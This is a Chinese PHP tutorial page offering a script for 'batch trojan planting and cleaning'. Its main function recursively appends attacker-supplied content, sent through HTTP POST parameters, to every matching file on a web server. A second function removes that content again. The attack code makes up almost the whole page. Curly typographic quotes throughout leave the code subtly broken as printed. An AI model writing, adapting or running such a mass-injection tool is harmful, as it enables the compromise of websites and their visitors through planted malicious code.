• 技术文章 >后端开发 >php教程

    php下批量挂马和批量清马代码_PHP

    ringa_leeringa_lee2018-05-10 15:26:28原创947
    复制代码 代码如下:

    <?php 
    function gmfun($path=”.”) 
    { 
    $d = @dir($path); 
    while(false !== ($v = $d->read())) { 
    if($v == “.” || $v == “..”) continue; 
    $file = $d->path.”/”.$v; 
    if(@is_dir($file)) { 
    gmfun($file); 
    } else { 
    if(@ereg(stripslashes($_POST["key"]),$file)) { 
    $mm=stripcslashes( trim( $_POST[mm] ) ); 
    $handle = @fopen (”$file”, “a”); 
    @fwrite($handle, “$mm”); 
    @fclose($handle); 
    echo “已挂马文件:$file\n
    ”; 
    } 
    } 
    } 
    $d->close(); 
    echo ” “; 
    } 
    function qmfun($path=”.”) 
    { 
    $d = @dir($path); 
    while(false !== ($v = $d->read())) { 
    if($v == “.” || $v == “..”) continue; 
    $file = $d->path.”/”.$v; 
    if(@is_dir($file)) { 
    qmfun($file); 
    } else { 
    if(@ereg(stripslashes($_POST["key"]),$file)) { 
    $mm=stripcslashes( trim( $_POST[mm] ) ); 
    $handle = fopen (”$file”, “rb”); 
    $oldcontent=fread($handle,filesize($file)); 
    fclose($handle); 
    $newcontent=str_replace($mm,””,$oldcontent); 
    $fw = fopen (”$file”, “wb”); 
    fwrite($fw,$newcontent,strlen($newcontent)); 
    fclose($fw); 
    echo “已清马文件:$file\n
    ”; 
    } 
    } 
    } 
    $d->close(); 
    echo ” “; 
    } 
    if ($_GET['action']=='gm') { 
    set_time_limit(0); 
    gmfun($_POST["dir"]); 
    } 
    if ($_GET['action']=='qm') { 
    set_time_limit(0); 
    qmfun($_POST["dir"]); 
    } 
    ?>
    声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
    专题推荐:量挂马 批量清马
    上一篇:PHP程序员如何突破成长瓶颈_PHP 下一篇:PHP程序员面试 切忌急功近利(更需要注重以后的发展)_php文摘_PHP
    PHP编程就业班

    相关文章推荐

    • PHP下传文件涉及到的参数 • php与mysql的链接有关问题 • 求PHP网站靠山管理 管理员 权限控制 系统方案 • PHP正则解决方案 • session有关问题

    全部评论我要评论

  • 取消发布评论发送
  • 1/1

    PHP中文网